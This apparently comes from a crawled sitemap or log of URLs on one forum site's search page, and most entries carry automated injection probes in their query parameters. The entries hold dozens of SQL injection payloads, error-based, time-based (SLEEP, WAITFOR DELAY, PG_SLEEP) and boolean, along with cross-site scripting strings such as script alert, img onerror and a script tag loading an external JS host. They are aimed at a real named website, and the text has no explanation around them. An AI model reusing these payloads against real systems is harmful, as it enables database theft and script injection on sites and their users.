http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%5B%5D 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%5C%22 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%5C' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%bf%27 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%20'MU'='5P 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20OR%20'EH'='EH'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(92=51)%20THEN%20'zbrush4r4'%20ELSE%200x28%20END))%20AND%20'uy'='uy 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%22 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20AND%2091=38%20AND%20('NO'='NO 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(32=41)%20THEN%20'zbrush4r4'%20ELSE%200x28%20END))%20AND%20('xb'='xb 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4';%20IF(38=43)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4);%20IF(47=23)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r46633x3X6 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4JyI%3D 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4alert(42873) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4e360 0.0001 http://www.cncml.com/search.php?mod=forum&mobile=2 0.0002 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=(SELECT%20(CASE%20WHEN%20(31=31)%20THEN%200x686F74736561726368%20ELSE%2031*(SELECT%2031%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=(SELECT%20(CASE%20WHEN%20(34=75)%20THEN%200x686F74736561726368%20ELSE%2034*(SELECT%2034%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=(SELECT%20(CASE%20WHEN%20(41=93)%20THEN%200x686F74736561726368%20ELSE%2041*(SELECT%2041%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=(SELECT%20(CASE%20WHEN%20(47=24)%20THEN%200x686F74736561726368%20ELSE%2047*(SELECT%2047%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=(SELECT%20(CASE%20WHEN%20(97=16)%20THEN%200x686F74736561726368%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=ELT(11=92,0x686F74736561726368) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=MAKE_SET(19=81,0x686F74736561726368) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch 0.0005 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=67)%20THEN%200x686F74736561726368%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20RLIKE%20(SELECT%20(CASE%20WHEN%20(84=84)%20THEN%200x686F74736561726368%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%22%20AND%20%223B%22=%22pK 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%22)%20AND%2067=14%20AND%20(%224t%22=%224t 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%25%22%29%20AND%2098%3D53%20AND%201%20like%28%22%25 0.0001 